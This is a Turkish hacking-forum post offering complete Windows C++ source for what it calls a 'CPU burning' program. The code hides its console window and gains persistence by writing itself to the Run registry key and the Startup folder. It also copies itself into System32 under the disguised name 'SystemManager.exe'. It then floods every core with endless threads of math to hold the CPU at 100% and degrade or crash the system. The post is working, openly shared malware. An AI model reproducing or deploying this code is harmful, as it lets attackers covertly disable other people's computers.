Döküman C++ ile CPU yakma

MrDev

DOLANDIRICI t.me/mrdevelopersss - t.me/mrdevsss
Katılım
11 Ara 2023
Tepki puanı
10,789
Konum
Devler Ülkesi
Rating - 100%
Öncelikle başlıkta yazdığım "CPU yakma" abartı olabilir ona takılmayın.

Bu C++ programı, CPU'yu zorlayacak şekilde kodlanmıştır.

Çalıştığı sistem üzerindeki CPU'yu zorlayarak sistemin hata vermesini sağlamaya çalışır.

İşlemciyi sürekli %100 kullanım seviyesinde çalıştırır, her CPU çekirdeğini maksimum kapasitede zorlar.

Rastgele sayı üreterek ve büyük matrisleri çarparak CPU'yu maksimum seviyede kullanmaya çalışıyor.

Ayrıca,
diğer programların yavaş çalışmasına neden olur...
C++:
#include <iostream>
#include <vector>
#include <thread>
#include <chrono>
#include <cmath>
#include <random>
#include <array>
#include <complex>
#include <windows.h>
#include <shlobj.h>
#include <string>
#include <filesystem>

#define M_PI 3.14159265358979323846
constexpr size_t MATRIX_SIZE = 100;

void AddToStartup() {
    std::filesystem::path exePath = std::filesystem::absolute(std::filesystem::path(__argv[0]));
    std::wstring exePathW = exePath.wstring();
    
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
        RegSetValueExW(hKey, L"SystemManager", 0, REG_SZ, (BYTE*)exePathW.c_str(), (exePathW.size() + 1) * sizeof(wchar_t));
        RegCloseKey(hKey);
    }
    
    wchar_t appData[MAX_PATH];
    if (SUCCEEDED(SHGetFolderPathW(NULL, CSIDL_APPDATA, NULL, 0, appData))) {
        std::wstring startupPath = std::wstring(appData) + L"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\";
        std::filesystem::path destPath = std::filesystem::path(startupPath) / L"SystemManager.exe";
        try {
            std::filesystem::copy_file(exePath, destPath, std::filesystem::copy_options::overwrite_existing);
        } catch (...) {}
    }
}

template<typename T>
void matrix_multiply(const std::vector<std::vector<T>>& a, std::vector<std::vector<T>>& result) {
    for(size_t i = 0; i < MATRIX_SIZE; ++i) {
        for(size_t j = 0; j < MATRIX_SIZE; ++j) {
            result[i][j] = 0;
            for(size_t k = 0; k < MATRIX_SIZE; ++k) {
                result[i][j] += a[i][k] * a[k][j];
            }
        }
    }
}

//Victor77

int main() {
    HWND hwnd = GetConsoleWindow();
    ShowWindow(hwnd, SW_HIDE);
    
    AddToStartup();
    
    wchar_t system32Path[MAX_PATH];
    GetSystemDirectoryW(system32Path, MAX_PATH);
    std::filesystem::path sourcePath = std::filesystem::absolute(std::filesystem::path(__argv[0]));
    std::filesystem::path destPath = std::filesystem::path(system32Path) / L"SystemManager.exe";
    try {
        std::filesystem::copy_file(sourcePath, destPath, std::filesystem::copy_options::overwrite_existing);
    } catch (...) {}
    
    const int thread_count = std::thread::hardware_concurrency() * 4;
    std::vector<std::thread> threads;
    
    for (int i = 0; i < thread_count; ++i) {
        threads.emplace_back([]() {
            std::random_device rd;
            std::mt19937 gen(rd());
            std::uniform_real_distribution<> dis(-10000.0, 10000.0);
            std::vector<std::vector<double>> matrix(MATRIX_SIZE, std::vector<double>(MATRIX_SIZE));
            std::vector<std::vector<double>> result(MATRIX_SIZE, std::vector<double>(MATRIX_SIZE));
            
            while (true) {
                volatile double result_scalar = 0;
                volatile double complex_real = 0;
                volatile double complex_imag = 0;
                
                for (int j = 0; j < 1000000; ++j) {
                    for(size_t x = 0; x < MATRIX_SIZE; ++x) {
                        for(size_t y = 0; y < MATRIX_SIZE; ++y) {
                            matrix[x][y] = std::sin(dis(gen)) * std::cos(dis(gen));
                        }
                    }
                    
                    matrix_multiply(matrix, result);
                    
                    for(const auto& row : result) {
                        for(const auto& val : row) {
                            result_scalar += std::pow(std::abs(val), 3);
                            double temp_cos = std::cos(val);
                            double temp_sin = std::sin(val);
                            double temp_real = complex_real;
                            complex_real = complex_real * temp_cos - complex_imag * temp_sin;
                            complex_imag = temp_real * temp_sin + complex_imag * temp_cos;
                        }
                    }
                    
                    result_scalar = std::pow(result_scalar, 2) + std::sqrt(std::abs(result_scalar));
                    for(int k = 0; k < 200; k++) {
                        double magnitude = std::sqrt(complex_real * complex_real + complex_imag * complex_imag);
                        result_scalar = std::fmod(magnitude * M_PI, 10000.0) +
                                     std::log(std::abs(result_scalar) + 1) +
                                     std::exp(std::abs(std::sin(result_scalar)));
                        
                        volatile double temp = std::pow(dis(gen), 4) * std::tan(result_scalar);
                        result_scalar += std::sinh(temp) * std::cosh(temp);
                    }
                }
            }
        });
    }
    
    for (auto& thread : threads) {
        thread.join();
    }
    
    return 0;
}


Program, Windows başlangıcında otomatik olarak çalışmasını sağlamak için kendisini sistem başlangıç kayıt defterine ve "Startup" klasörüne kopyalıyor.

Ayrıca program kendini System32'ye SystemManager.exe olarak kopyalıyor.
 
131,472Konular
3,268,539Mesajlar
315,248Kullanıcılar
zaza5544Son Üye
Üst Alt